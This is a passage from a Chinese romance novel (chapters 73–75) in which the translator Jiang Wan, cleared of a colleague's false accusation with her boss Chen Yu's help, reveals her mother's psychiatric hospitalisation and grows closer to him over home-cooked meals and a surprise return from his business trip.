姜挽担心又要像之前一样暂停她的工作,这次要是再被暂停,翻译进度怕是真跟不了:“能不能先不要暂停我的翻译工作,现在正是项目赶进度的时候,我怕翻译落下,会影响整个项目的进展。” 陈屿很无奈:“谁说要暂停你的工作了?只是怕你被影响,单纯的休息而已。” “我不会被影响的。”姜挽和他保证。 陈屿想了一会儿,才松口:“假是一定要放的,顶多让你带着电脑回去,适当的时候可以在家办公。” 这样已经够了,姜挽怕他反悔,立马回道:“那我现在就去和周经理请假。” “不用,我会和他说,”陈屿打断她,边说,边开始收拾东西,“我在车库等你,你收拾好就下来。” 他这意思…… “你要一起回去?” “不然呢?”陈屿反问她,“刚才外面的情况你也不是没有看到,你一个人出门的话,恐怕是连地铁站都到不了。” 回想起刚才的场景,姜挽觉得他说的有道理,也就没再继续坚持。 回到翻译部,姜挽简单地和林瑜解释了下,便带着电脑来到了地下车库。陈屿的车已经在等着,见她下来,按了一下喇叭。 这个时间点,基本不会有其他同事出现,可为了避免不必要的麻烦,姜挽还是左右看了下才上车。 车子驶出车库,右拐上路,经过GSC门口的时候,姜挽特意看了一眼,果然如陈屿说的那般,刚才的那堆人还在,只不过因为警察来了,他们气势已经大不如一开始了。有坐的,有斜靠的,甚至还有刻意走远,不再参与的。 正看着,旁边的陈屿突然开口:“别看了,这件事情我会处理,你安心在家待着就行。” 姜挽收回视线:“你打算怎么处理?” 陈屿原本是不打算和她说这些的,可既然已经聊到这了,他也就没什么好隐瞒的:“这次的事情为什么会发生我一清二楚,”自从刚才看到方简简的那一刻,他便将一切都联系了起来,“之前的一念之差造成了今日这番局面,同样的事情,我绝对不允许再发生第二次。她既然选择了这条路,就该知道会有什么后果。” “会有什么后果?” 红灯临停,陈屿点一脚刹车,侧头朝她看过来:“你想有什么后果?” 他这话问的随意,语气又带着一股俯瞰蝼蚁的上位者气势,一瞬间,竟让姜挽产生了“她想怎么样,就能怎么样”的错觉。 情绪最容易左右决定,更何况还是在他这种纵容的语气下。鬼使神差地,她竟然开口问道:“我想怎么样,就能怎么样吗?” “说说看。” 身后突然一声鸣笛,是红灯变绿了,陈屿启动车子,姜挽回过神来,正色道:“按法律。” “这是你的要求?”陈屿追问。 “嗯,”她不是圣母,还做不到不计前嫌地原谅一个如此陷害自己的人,但她也有自己的原则,“她刚才不是提到法律了吗,那就按法律解决。” “知道了。” 这个时间点街上车流很少,一路除了几个红绿灯,他们没遇到任何堵车的情况,没多久便到家了。 只不过到家的这个时间点不太好,既不属于早上,也不属于中午,刚好处于中间。可尽管如此,陈屿到家后的第一件事还是进了厨房。 姜挽还以为他有什么想吃的要做,也就没去打扰,不成想半个小时后,他竟然端了一个小蛋糕从厨房出来。 白底圆托,周边镶一圈奶油,中间是草莓和车厘子,和她以往在蛋糕店看到的,并没有什么差别。 姜挽很轻地眨了下眼睛:“这是你做的?” “尝尝看,第一次尝试,不知道味道怎么样。”陈屿换了种方式回答她,边说,边把叉子递给她。 姜挽接过,还有点懵,这一切简直太玄幻了,要不是亲眼所见,她是怎么也不会相信的:“怎么突然想起来做蛋糕了?” “听说吃甜的会让心情变好。”陈屿很直接。 所以,这蛋糕也是专门为她做的? 姜挽低头舀一勺,送进嘴里,绵密,清甜,还带着牛奶的醇厚和水果的清香:“很好吃。” “嗯。” “你要不要尝尝?” 陈屿盯着她手中的叉子看了一会儿,似在思考,最后还是拒绝了:“不了,你吃吧。” 他起身:“你先吃,我还有事,先回书房。” “嗯,你忙你的。”姜挽没抬头。 窗外的暖阳照进来,倾泄在她头顶,发丝柔软地垂在脸侧,像被镀上一层细闪的金光。还有白皙的脸庞和小巧圆润的耳垂,陈屿盯着看,突然像是一直绷着的那根弦松了,他本能地伸出手,碰了碰她的头发:“有事叫我。” 刹那间,姜挽顿住,手上没了动作,嘴里也停止了咀嚼。这个突如其来的触碰,让她无所适从。 很久,久到陈屿离开后好一会儿,她才敢抬起头来。长睫颤得厉害,还有那乱了节奏的心跳。 进了书房,陈屿第一件事就是和宋泽宇了解情况,刚才指尖处那柔软的触感似乎还在,他下意识捻了捻,不自觉勾了勾唇。 电话接通,他当即换上另一副神色:“怎么样?” “警察已经把他们带走了,我们也正在整理证据准备提交,应该很快就会有结果。” “需要多长时间?” “差不多得一周。” “不行,一周的时间太长了,”陈屿根本等不了,“四天,最多四天,加班和轮休都可以,你去协调,工资按最高标准来支付。四天之后,我要看到结果。” 姜挽在家,陈屿也就没去公司,不过两人工作都忙,大多数时间基本都是陈屿在书房,姜挽在卧室,各自忙着自己的事情。可一到饭点,陈屿就出来了。 他既不点外卖,也不让阿姨过来,全程都是自己动手,一天三顿定时定点地做好,然后再叫姜挽。 姜挽哪里受过这种待遇,这比她在公司上班时还要舒服,没有通勤,不用挤地铁,而且还不用为吃饭操心,一整天的时间她都可以拿来做翻译,简直就是她理想中的生活。 可毕竟无功不受禄。 虽然陈屿这样做可能是出于对她的同情,毕竟遇上这种事也是挺倒霉的,可一次两次还行,次数多了,姜挽也不好意思再接受了。 这晚,当两人面对面坐在餐桌上,陈屿再次给她盛汤时,姜挽想了想,还是开口:“其实你不用这么同情我的,虽然遇上这种事情我也确实倒霉,可工作里面碰上这种事也不奇怪,我能承受的。而且,这样你也会累,我自己能调节好的。” 陈屿愕然抬起头,盯着她看了几秒,表情很奇怪,说生气太重,不解又太轻,更像是一种介于泄气和挫败中的无奈,他皱眉:“姜挽,我的行就这么难理解吗?我到底做了什么,让你产生了这样的错觉,让你觉得我是在同情你?再说了,你见过谁同情人到这个地步的,一日三餐,步步不离地伺候着?” 姜挽抿着唇,没接话,这她倒是还真没见过。 “再说了,没出这事的时候,我不也是这样照顾你的吗?” 仔细一想,还真是,姜挽默默搅着碗里的汤匙,更没底气了。 陈屿主动给她夹菜:“别一天天尽想些有的没的,还什么我也会累,你又不是我,你怎么知道我怎么想?” 姜挽还是没吭声,陈屿忍不住催促:“记住没有?” “记住了。” 简单三个字,陈屿就没话说了,他神色缓和几分,整个人的气场也跟着温和了下来,像一张被熨帖平整的纸张,边边角角里都是对她的纵容:“还有,有些话我本来是不想说的,因为我觉得你能理解,可今天看来是我多想了,你的理解能力还真是一般。” 说到这,他停下来,姜挽也跟着抬头看他,视线相对,两人都能从彼此眼中看到自己的倒影。 “照顾你这件事,我从不觉得累。” 与其说是解释,不如说是承诺更为合适,短短一句话,掷地有声,一锤定音。 又是这种话,这种模棱两可,容易让她误会的话。要是以前,姜挽也就问了,或者不问,自动就如此认为了。可现在她不敢了。 经历了这么多,再加上如今她这种复杂的生活状态,根本不敢问。不开口就还能存在幻想,一旦开口打破了这道幻影,就意味着被彻底判了死刑。 没等她思考太长时间,陈屿进一步开口:“不说了,先吃饭吧。” “好。”姜挽忙回神。 吃完饭,两人再次“分道扬镳”,陈屿回书房,姜挽则是回卧室,进了屋,正打算开电脑,手机突然响,是林瑜打来的电话。 这些天,因为这次事情的特殊性,姜挽和其他同事几乎没有联系,除了林瑜,两人偶尔会在微信上聊两句。林瑜有时会安慰她,有时也会跟她说一些公司最新的消息。 比如今天,她就是来告诉姜挽重大进展的:“你也别太担心了,针对这件事,公司成立了专门的项目小组来加班处理,听说已经有了很大的进展,证据基本都整理完了,应该马上就会有结果。” “真的?”姜挽很惊讶,这些陈屿从来没和她说过,准确来说,这些天在家,陈屿从来不和她讨论任何有关这件事的细节。只是告诉她该干嘛就干嘛,他会把一切都处理好。 “是真的,公司里都传来了,大家都在说陈总还真是有责任感,GSC的企业文化好,遇到困难不仅没有抛弃员工,反而和员工一起去抗争。” 林瑜平时话不多,更别说还是这种夸人的话了,能让她一次性说这么多,看来是对陈屿真觉得敬佩。姜挽抬头看向书房的方向,虽然有墙壁的阻隔,但她也能想象到陈屿此时坐在桌前认真办公的样子。 “只不过,有一件事貌似不大好解决。”林瑜突然话锋一转。 “哪件事?”姜挽很敏感。 “就是关于你进出特殊场所的事。” 许是怕刺激到她,林瑜专门用了“特殊场所”这几个字来形容。 姜挽倒是没觉得有什么,直接点明:“进出康复中心的事情吗?” “对,听他们好像是有点难办,毕竟对方确实也拍到照片,”林瑜继续和她说着打听来的消息,“我听说有人建议陈总去找你,让你出来亲自解释,这样可能会省很多事,但被他直接否决了。” “为什么?”姜挽不懂他为何会拒绝这种方法,其实他们说的没错,这件事由她出来说明是最简单的了。 “不知道,我也觉得纳闷。”说完这些,林瑜又继续安慰姜挽,“不过你也别太着急了,现在事情基本尘埃落定了,其他剩余的也有GSC在处理,相信很快就可以完全解决了。” “我知道。”姜挽了解林瑜的性格,知道她是最不爱管闲事的,可现在为了她这事,打听到这些消息,背后不知道付出了多少,又做了多少不愿意的事情。 “林瑜,谢谢你。”姜挽发自内心的感谢她,同样是同事,有的人恨不得搞垮她,可有的人却会拼尽全力帮助她。 “哎,先不说这些,”林瑜大喇喇的,“主要是你别多想,心情放松,我等你回来,我们大家都等你回来。” “嗯,我会的。” 第73章 坦白 挂了电话, 姜挽去敲书房的门:“你现在方便吗?” 屋内立马传来陈屿的回答:“方便。”接着是脚步声,然后是门锁转动的声音,门打开,陈屿的脸出现在门后, 声音和脸上皆是一派温和, “怎么了?” “关于邮件举报的事情, 我想和你聊聊。”姜挽直说。 一听是这个, 陈屿立马变得严肃起来, 甚至还带着点急:“是不是有人又联系你了?给你发了什么乱七八糟的东西?”他朝她伸手, “手机给我。” 这本来是一句有些强势的话,可听在姜挽的耳朵里却并没有觉得不舒服,因为此刻他的语气和神态都代表着他在关心她。 “不是这个, 是关于公司调查的事。” 陈屿松一口气, 但貌似也没有:“这些不用你参与, 我会安排好。” “但如果我参与能让事情更快解决呢?” “没必要, 不划算。” 究竟是为何“没必要”,又是和什么比“不划算”, 陈屿没明说, 姜挽自然也猜不到,两人在门口站了会儿, 还是陈屿先侧身让开:“进来说吧。” 这是姜挽第一次进他的书房, 和他公司里办公室的装修风格一致,白灰为主, 低调沉稳。 姜挽没绕圈子:“关于邮件里的那几张照片, 为什么不问我,不直接让我出来解释呢?” 她这样说,陈屿便猜到她已经知道了, 公司有几个和她关系相好的同事也不奇怪,他不怪他们告诉她,只怪自己还是考虑得不够周全。 陈屿抱臂靠着书桌,还是那句话:“没必要,我说过了,这件事不用你参与,我能解决。” “由我出来解释的话,应该是目前最合适的方法。” “所以呢?” “所以,”姜挽凝视着他,“所以会提高效率,为公司减少麻烦。” “就这些?”陈屿反问她。 “这些还不够吗?”至少在她看来已经足够了。 “不够,当然不够,再来一百个这样的理由都不够,”陈屿站直身体,朝她走近两步,两人距离拉近,落在墙上的影子霎时间重叠在一起,“最合适,但对我而言却并不意味着最好。况且,在这件事上,这些也从来都不是我首要考虑的因素。” “那你首要考虑的因素是什么?” 陈屿想了会儿:“人,还有情绪。” 他还是有所保留了,原本想说的话是“你,还有你的情绪”,担心太直接她不能接受,还是稍微委婉了一点。 “所以你说的这些都不是我在意的点。”陈屿起身,朝屋外走,不大想继续这个话题了。 可他越是这样,姜挽就越觉得亏欠,看着他的背影,她突然开口:“是我妈妈。” 陈屿转身,愕然看着她。 “是我妈妈,”姜挽重复,“在精神病院的其实是她,我是去看她的。” 天知道她说出这些用了多大的勇气,一直以来隐藏的秘密,竭尽所能不想让他知道的事情,此刻当着他的面,姜挽全盘托出,和这些一起的,还有她展示给他的脆弱和自尊。 “我知道了,”陈屿脸上的神色暗下去,似乎带着一股悲伤,他极少出现这样的表情,“放心,我会处理。” 还好他并没有直接表现出鄙夷或者嫌弃,姜挽松一口气,其实在说出这件事之前,她就一直担心这点:“嗯,如果还有需要我配合的,再和我说。” 陈屿没答应,也没追问,只抬头碰了碰她的头发:“早点回去休息。” 这段时间,他偶尔会做这个动作,姜挽已经没有第一次时那么尴尬了:“好,你也是。” 书房门关上的那一刻,陈屿便立刻转身,给宋泽宇去了电话:“照片的事情不用再调查了,把目前所有的资料都准备好,正式向方简简提起诉讼。” 宋泽宇有些犹豫:“陈总,可那些照片……” “不用查了,有什么事情我担着。”陈屿打断他,这些照片涉及到姜挽的隐私,他之前想查是因为要还姜挽一个清白,现在不查是为了不让她的隐私暴露出来。 刚才她的表情他也看到了,窘迫,难堪,还有小心翼翼。这样的表情,他再不想在她脸上看见第二次。 “照片是伪造的,我已经调查清楚了,后续发布通知的时候也这么说。”陈屿用了一个其他的理由。 “好,我马上去办。” “还有一件事,也需要你去办,”陈屿回想起当初在姜挽转学单上看到的那个签字,“你去查一下这家有没有一个叫‘沈曼’的病人。” GSC请了最专业的律师团队,方简简根本就没有胜算的可能,而且在调查过程中还发现之前姜挽在宁城酒店遭遇抢劫,以及之前在康复中心遇到的那个奇怪的人,也都和方简简有关系。 数罪并罚,一场牢狱之灾在所难免。 法官当庭宣判的时候,方简简当场就崩溃了,她跌落在地,嘴里不干不净地骂着姜挽,甚至还叫嚣着是姜挽毁了她,姜挽如今得到的一切原本都是属于她的,尼斯项目也应该是她的。 她情绪太过激动,现场好几个工作人员都控制不住她。陈屿原本是打算和姜挽一起离开的,听到这话,交代宋泽宇先带姜挽回车上,他稍后就到。 转身,他走向方简简的方向,见他回来,方简简还以为事情还有转圜的余地,忙换上另外一副口吻,开始央求陈屿:“陈总,您大人不记小人过,就放过我吧。看在我曾经也在GSC工作过的份上,您就不要和我计较了。” 她不提这个还好,一提陈屿更生气了,要是知道她后续会给姜挽带来这么多麻烦,当初方简简和她的公司,陈屿根本就不会考虑。 陈屿居高临下地看着她,表情极度冷冽,仿佛此刻面对的是什么不干净的脏东西:“我来只有一句话。” 方简简此时还抱有希望,仰头看着他,眼里跳跃着希冀。 “如果没有姜挽,根本就不会有尼斯项目。” 话音落,方简简一开始还有点懵,反应过来后,立马变了脸色,眼神中的希冀没有了,取而代之的是燃起了熊熊的恨意。 她大骂,继而大笑,如果事实真是如此,尼斯项目是陈屿特意为姜挽准备的,那就代表着他们一开始就认识。 那她算什么? 她之前的那些谋划和幻想又算什么? “我不甘心!凭什么她什么都不做就可以得到一切,而我做了这么多,最后却落得一个这样的下下场?这不公平!” 公平?在陈屿这里最不会考虑的两个字,尤其还是涉及到姜挽的事情。 陈屿不再和她纠缠,转身朝门外走。身后时不时还传来几句方简简凄厉的哀求,够可怜,但对陈屿而言没有丝毫用处。她千不该万不该,就是把主意打到姜挽的身上。 上了车,姜挽和宋泽宇已经在等他了,姜挽刚才注意到他去和方简简说话了,所以对他说了什么,有点好奇。 “没什么,就是问了一些细节的问题。”陈屿没告诉她,然后询问她的意见,“是去公司,还是先送你回家?” “直接去公司吧。” “你不用这么着急,要是觉得不想去,再休息几天也没问题。” “没事,还是直接去吧。” 姜挽口头答应得痛快,可去公司的一路,她还是难免有些忐忑。 虽说在这件事上她是受害者,可公司一向就是爱传八卦的地方,她担心大家会有想法,会用异样的眼光看她。 可到了公司一看,才发现她完全就是想多了。大家不仅没有用异样的眼光看她,反而都很欢迎她回来,甚至比她一开始来的时候还要热情。 刚进翻译部,林瑜便给她送上了一大束花,接着其他同事便围了上来嘘寒问暖,劝慰她不要在意太多。 在姜挽以往的人生经验里,受到的排挤和伤害总是大于善意,所以当真正的善意出现时,她一瞬间竟有些无法招架。 林瑜看出她的窘迫,等到其他同事都散开后,也是为了让她放松吧,故意调侃道:“你可不要太感动啊,也不要太有压力,虽然你平时人是很好,我们确实也都很想念你,但之所以这么大阵仗,也是因为陈总亲自下了命令,让大家要热情欢迎你回来。” 虽然知道林瑜这么说是为了让她放松,可听到她话里提到陈屿的意思,姜挽还是觉得有点不敢置信:“他真这么说?” “当然,”林瑜感叹,“在这件事情上,陈总处理得真是没话说,你有时间可得亲自去感谢他。” “嗯。”她是应该好好感谢感谢他。 第74章 感谢 风波过去, 生活一切照旧。 姜挽依然早出晚归,忙碌于翻译工作。趁着周五,她特意下了个早班,去超市买了菜, 打算给陈屿做一顿晚饭。 关于感谢他这事, 她想了很长时间, 陈屿什么都见过, 也什么都不缺, 所以不管她送什么, 估计都不会有太大的惊喜。 既然如此,干脆就从最朴实,最基础的着手, 给他做一顿饭, 就像他一直以来为她做的那样, 用最真诚, 最朴素的方式来表达对他的感谢。 陈屿下班后也去了一趟超市。 他每天都会按照菜单给姜挽准备不一样的菜式,只不过今天下班稍晚了点, 有两封邮件需要审批。 本来也不是什么特别着急的事情, 只不过他考虑到姜挽每天比他到家晚,为了能更好地和她的时间配上, 也为了确保她到家能吃上最热乎的一口, 他干脆就打算批完再下班。 可没想到,却失策了。 到家, 姜挽的鞋摆在门口, 看来是已经回家了。可能是着急,脱下来的鞋摆得有点乱,陈屿把手上的东西放在一旁, 弯腰将她的鞋摆进鞋柜,这才开门进屋。 他习惯性地进厨房,刚推开门,就被眼前的场景吓了一跳。他以为在卧室的姜挽这会儿却出现在这里,穿着围裙,拿着锅铲,正鼓捣着锅里的菜。 陈屿的第一反应就是从她手里接过锅铲:“你干嘛呢?” “做饭呢。”姜挽没把锅铲给他,侧身,“刚好你回来了,帮我看看,煮到这个程度是不是就可以了?” 陈屿这才看清锅里煮的是鱼汤,虽然算不得多完美,但一眼看过去,也是那么回事:“差不多了。” 说着,他关火,把锅端起来,再将鱼汤倒进旁边的汤碗里。这次,姜挽没和他争。 “怎么突然想起来做饭了?”倒完鱼汤,陈屿自然地就开始洗锅,“有事?” “其实也没什么,就是想感谢你。”姜挽翻着手机,查看下一道菜的步骤。 “感谢我?” “嗯,这次的事情你帮了我这么多,其实早就该感谢你的,只是我一直没想到合适的方式。今天刚好下班早,”说到这,她顿了下,指了指旁边的鱼汤,“所以就想到了这种方式,希望你不要嫌弃。” 陈屿怎么会嫌弃,他只会心疼和舍不得。 “你不用这样。” “你是不是嫌弃我厨艺不好?” 陈屿觉得和她说不通,转念一想,干脆换了种方式:“说到感谢我,应该不止这一件事吧,”他挑眉,故意做出一副不怎么正经的样子,“还有工作租房什么的,你是不是也应该一并都感谢了?” 姜挽愣住,但觉得他说得也对:“那你想我怎么感谢?” “既然是感谢,当然得你自己想才有诚意。” 姜挽要是想得到,也就不用拖到现在了:“要不还是做饭吧?” “做饭?”陈屿轻笑,这么多的事情,“单单做饭的话,怕是一辈子都不够吧?” “一辈子”这个词一出来,两人间的气氛瞬间就变了,像是隔着橱窗烤化的棉花糖,又仿佛透着玻璃瓶看见的老式气泡水,黏黏糊糊,晃晃悠悠,透着一股子黏糊和朦胧的感觉。 姜挽没接话,陈屿见她不好意思,也就没再继续,换了话题:“还有其他菜吗?” “还有一个青菜。” “那我来炒。” “还是我来吧。”姜挽坚持,“说好感谢你的。” 这下陈屿很爽快,直接退开了两步,但他也没从厨房离开,而是抱臂看着姜挽。看她不太熟练地切菜,看她下锅时条件反射性地一躲,怎么看,都觉得可爱。 可能是来回动作,姜挽的头发散了,几缕垂在耳侧,陈屿盯着看了几秒。等她再一次侧身过来时,上前两步,指尖挑起发丝,顺势挂在她的而后。 姜挽霎时愣住。 “你头发散了。” “哦。”姜挽脸颊很红,垂着眼睫,长长的睫毛扫下来,在眼睑处落下一小片纤丽的阴影,“你先出去吧,一会儿我做好了叫你。” 半个小时后,姜挽终于完成了她今天的这顿晚饭,虽不能和陈屿之前做的相比,但好歹也是三菜一汤,算得上丰盛了。 他们习惯饭前先喝汤,姜挽盛一碗,递给陈屿:“要不你先尝尝?” 陈屿没接:“还是你先尝吧。” 考虑到他也许是担心这汤的味道,想让她先做小白鼠,姜挽也就没再推拒,舀一勺,送进嘴里。 味道鲜嫩,汤底醇厚,她对自己能做到这种程度还是挺满意的,因此也就有了不少信心:“味道还不错的,你尝一下?” 尝,陈屿肯定是要尝的。 陈屿凝视着她,没去端她给他盛的那一碗,而是直接握着她的手臂,就着她的勺子,径直送进口中:“确实不错。” 一切发生得太快,姜挽根本来不及反应,右手堪堪停在半空中,好半天都没有下一步动作。 再看陈屿,此时已经端坐在桌前,开始施施然吃饭了,坦荡自然,云淡风轻,好似一切都没有发生过。 “刚才,”姜挽艰难地组织语言,想着该如何表达才能不让气氛变得尴尬,“你是因为没有勺子吧,没关系,我现在就去给你拿一个。” “不用。”陈屿拦下她,随即朝她指了指旁边碗碟里放着的勺子,那意思很明显,他有,而且他也看到了。 “没事,谁都有不注意的时候。”姜挽继续说道。 “你看我像没注意到吗?”陈屿反问她。 “那是……” 姜挽找不到其他的理由了,她不是一定要刨根问底,也不是一定要在这些细节上较劲,只是陈屿刚才的行为实在是过于暧昧,而且不止刚才,之前好几次她也察觉到了。 暧昧就意味着界限不清,界限不清会导致不切实际的幻想,幻想他还爱她,还愿意接受她,她还有机会获得幸福。 或许每一个心存爱恋的人,心底都有幻想。 可过了这么多年,姜挽已经不了解他了,更看不透他,究竟是无意为之,还是一时新鲜,她是真的不懂。 要说怕,她只怕当初对陈屿的伤害太深,就像他之前说的,他对她已经没感觉了。现在的一切不过都是她自己的误会,到头来镜花水月一场,徒留讽刺和无奈。 许是她沉默了太长时间,陈屿没耐心了,就着她刚才的话:“你刚才想说什么?” 姜挽抿唇,没再想:“没什么,先吃饭吧。” 见她如此,陈屿也没再多问,垂眸继续吃饭。 只不过吃完饭后,他没像往常一样立即回书房,而是在客厅待着,一边喝茶,一边看她整理明天上班的东西,看起来非常悠闲。 姜挽觉得这也没什么好看的:“你今天不忙吗?不用加班吗?” 陈屿悠闲啜一口茶:“不忙。” 刚说完,便听微信里好几声响,接着便是电话,陈屿没接,而是直接把手机翻过来扣在桌面上。 “好像有人找你。”姜挽提醒他。 “不管它,不是什么重要的事。”缭绕茶烟升起来,陈屿又给自己续上一杯。 他不想接,也不想被打扰,能和她这么待一会儿,安安静静地说两句话,是他这一天中最放松的时刻。 两人就这么安静地待着,一直到姜挽整理完准备回房间,陈屿才开口:“下周尼斯项目组的现场勘测我去不了,我有其他工作安排,要去出差。” 姜挽点头:“知道了,今天在会上的时候,你已经说过了。” “那是说给他们听的。”陈屿起身,朝她走近两步。 姜挽知道他还有话好说,于是安静等着。 “周一周二在苏城,周三到周五在嘉城,周六回来。”两人离得很近,陈屿不自觉用指节碰了下她的脸颊:“我这次出差的时间可能有点长,遇到问题,不要瞎琢磨,也不要一个人扛着,记得给我打电话。” 因为他的动作,姜挽有刹那间的失神。 “记住了吗?”陈屿重复。 姜挽机械地点了点头。 陈屿这才满意地离开了,走前还不忘叮嘱她:“时间不早了,早点休息。” 姜挽看着他的背影,抬手摸了摸被他碰到的位置,这才后知后觉地意识到,他刚才是在和自己汇报下周的行程安排。 第75章 尝尝 姜挽原本以为陈屿的这次出差对她不会有什么影响, 毕竟之前也不是没有过,况且她的工作也很忙,估计没有时间来考虑这些。却没想到,陈屿刚走的第一天, 她就觉得不适应了。 家里, 公司, 甚至还有来回的路上和地铁上, 一切她思绪放空的时间, 大脑里都是陈屿的身影。 姜挽把这归结于“戒断反应”, 白天的时候还好,身边吵吵闹闹的,感触还不会特别明显。可到了晚上, 周遭寂静下来, 这种无端惆怅和心里空落落的感觉就会被放大。 心口仿佛一只漏了气的皮球, 一下子就瘪了。 洗完澡, 躺在床上,手机握在手里, 姜挽却不知道该干嘛。原本很有吸引力的娱乐视频和购物软件此刻在她的眼里也黯然失色, 已经完全没有打开的欲望了。 随便翻了会儿,不知不觉间, 她就来到了手机联系人页面, 也不知怎么的,一不小心就把陈屿的电话拨了出去。直到手机里响起背景音乐, 姜挽才反应过来, 吓得连忙挂断了电话。 可不到一秒,陈屿的电话就回拨了过来:“怎么了?” 透过电话,姜挽听到他那边的背景很嘈杂, 夹杂着人声和各种碰杯声,听起来应该是在吃饭。担心会打扰到他,姜挽忙开口:“不好意思,我打错了,你忙你的吧。” 说罢,她就打算挂,却没想到陈屿再次开口:“打错就打错了吧。” 电话里有风声,他在走动,很快,背景安静下来,他应该是换了个地方。 “回家了吗?”他主动问姜挽。 “嗯,已经在家了。” “晚饭吃了没有?” “吃了。” 两人之间一问一答,皆是一些再日常不过的问题。 就这么不咸不淡地聊了两句,陈屿突然开口:“今晚苏城的月亮很亮,月色很美。” 姜挽还以为他在和她讨论天气,于是专门跑到窗边看了一眼:“我这里今晚没有月亮,天很沉,刮大风。” 话音落,电话里突然传来陈屿低低的笑声,可能是因为他喝了酒,也可能是介质传播的原因,落在姜挽的耳朵里,醇厚又低沉,仿佛她也被沾染了几分酒意。 “你笑什么?” “笑你。” “笑我什么?” “笑你笨。” “……” 她突然间就后悔追问这么多了。 “不说了,我这边还有事情没处理完,”陈屿正色道,“你早点休息,晚安。” “嗯,晚安。” 虽然只是一通不明所以的电话,电话里她也没和陈屿说什么,可挂了电话后,姜挽瞬间就觉得心里畅快了许多。 像融化了的奶酪,又仿佛松软下来的面包,整个人都不郁闷了,从内而外皆透漏着恬静温和的气质。 接下来的几天,姜挽每天都会接到陈屿的电话,有时是交代她事情,有时是催促她下班,还有时候干脆什么都不说,只是单纯地和她聊两句。 两人就这么聊着聊着,很快就来到了周五。 这天,姜挽自从起床后就感觉心情特别好,以至于表现得太过明显,到公司后一眼就被林瑜看出来了。 “呦,碰上什么好事了,心情这么好,前几天看你抑郁的,我差点以为你都要不干了。”熟了之后,林瑜经常会开她玩笑。 “哪有这么夸张,”姜挽笑着回她,“这不是周五了,明天就可以休息了吗,我当然高兴了。” “你这种工作狂也会因为这个高兴?” “当然,我这种工作狂就是会因为这个高兴,怎么啦?” 姜挽表面回得笃定,其实她自己心里清楚,今天之所以会这么高兴,其实和放不放假一点关系没有,只是因为今天周五,就意味着明天周六,陈屿就会回来了。 林瑜笑着给她递上一瓶牛奶:“行,当然行啦,不过我可提醒你,你一会儿还得和项目组一起去现场呢,可别高兴过头,把这件事忘记了。” “知道啦。” 正说着,她们群组里突然弹出来通知,说是九点半集合,姜挽便赶紧趁着这会儿时间先把手上最着急的工作做了。 到点了,她便和项目组的其他成员一起坐车去了现场,这次因为涉及的内容比较专业,为了得到更准确的数据,姜挽全程都跟着大家实地勘测。收集整理,跑来跑去的,一上午下来,大家都累得够呛。 吃完午饭,大家稍微休息了会儿便接着继续干,快三点的时候,周海突然通知先停一会儿,说是陈总给大家送了下午茶,先休息休息。 听到这个消息大家都很惊讶,姜挽也不例外,没想到他出差了还惦记着他们。 “陈总来了吗?”有人问。 “没有,还在出差呢,安排人送的。”周海开口,“陈总出差还惦记着大家,可见对咱们这个项目有多重视,咱们加把劲好好干,争取不让陈总失望。” “得嘞,您就放心吧,就算陈总不送,单凭GSC这福利政策,我们也得好好干呀,年底还指着这项目拿奖金呢。” 说说笑笑间,大家继续投入了工作。 很快到了下班的时间,虽然来时大家是坐同一辆车来的,但回去时因为各自的方向不同,也就没做统一安排,有人选择直接离开,也有人选择先回公司,姜挽就是前者。 今天的地点不算偏僻,且附近还有地铁站,和同事告别后,姜挽正打算走,突然接到陈屿的电话:“回头。” “怎么……”姜挽觉得奇怪,刚想问,一回头,突然发现一辆黑色库里南朝她的方向驶了过来,还打着双闪,她简直不敢相信…… 很快,车子在她旁边停下,副驾驶座的车门被打开:“上车。” 身边和电话里同时响起陈屿的声音,姜挽这才相信他是真的回来了,并且此刻就在她眼前。 她忙挂掉电话,上车后心情仍然难以平复下来,一切发生得太突然了,简直超出了她的想象。就算她能想到陈屿可能会提前回来,但也绝对想不到他会出现在这里。 “你怎么回来了,不是说明天才回来吗?” “事情提前做完就回来了。”陈屿把她的背包取下来,然后放在后座。 姜挽任他动作:“几点到的?” “刚才给你们送下午茶的时候。”陈屿帮她系安全带。 “那周经理刚才怎么说你还没回来?” 她太震惊了,几缕发丝粘在脸颊也没意识到,陈屿帮她捋了捋,挂在耳后:“我故意说的,不想见他们。” 不想见他们,但想见你,所以刚下飞机便迫不及待地赶了过来,而且还要用一个“送下午茶”的借口。 姜挽突然意识到一件事:“那岂不是从三点开始,你就一直在这里等着了?” 陈屿抬手碰了碰她的脸颊,不大想聊这个,他更在意她:“你今天是不是和他们一起下现场了?”他注意到她袖子上沾了灰,边说,边帮她擦拭,“你这是工作啊,还是干农活啊,不知道的,还以为你上山下乡去了。” 姜挽倒是不怎么在意,把手抽回来:“现场勘测在所难免的。” 陈屿再次握住:“别人我不管,下次你最好还是离那些危险源远点。不然以后这种现场的活动,我就不同意周海再带着你了。” 姜挽原本还想再顶两句的,一听他都这么说了,赶紧闭嘴,毕竟他是老板,让谁去,不让谁去,这种小事还不就是在他举手之间。 “知道了。”她乖乖应声。 看她这样,陈屿又觉得自己刚才的话有点说重了,叹一口气,转身从后座拿过来一个红色的精致盒子,递给她:“打开看看,喜不喜欢。” “这是什么?”姜挽的注意力瞬间被吸引,眼睛亮亮的,像打碎了满天的星子。 陈屿凝视她的眼睛,几乎就要陷进去:“你打开就知道了。” 姜挽原本还担心又是什么手链项链之类的贵重物品,正苦恼该如何拒绝,可打开之后却发现并不是。牛皮色油纸包装成四四方方的形状,再加上红色的点心笺和黄色的纸绳,只一眼,她便认出来了。 这种包装方式,她只见过一次,那就是在江城的“兰桂斋”,她们当地很有名的一家点心店,小的时候沈曼经常给她买。 她试探性地开口:“你去江城了?” “嗯,路过,顺便买的。”陈屿没瞒她,但也没说实话。几百公里的距离,为了买这些东西,让她尝到一口家乡的味道,今天天没亮他就起床了。来回好几个小时的折腾,到了现场又是排队,这事也就是为她了,换其他任何一个人陈屿都不会去做。 “真的是顺路吗?”姜挽也不大相信。 嘉城和江城虽相隔不算太远,但也有几百公里。她记得GSC貌似没有在江城的业务,况且论繁华和发展程度,嘉城要远远高于江城,所以也就不存在交通方式的顺路。 所以他口中的顺路,真是就只是顺路吗? 更何况“兰桂斋”在她们当地十分出名,每次都要排很长的队才能买到,她不相信陈屿仅仅只是顺路。 车里静了,两厢对视,各怀心事,谁也没有主动点破。 最后,还是陈屿主动开口:“那你不打算尝尝吗?” “要尝的。”姜挽伸手去解包装。 算起来,她还真是有好多年没吃过这种正宗的“兰桂斋”点心了。 小心解开包装,又挑了小时候最爱的那款桂花糕放进嘴里,清雅甜润,馥郁清香,这么多年过去了,没想到还是和当初的味道一模一样。 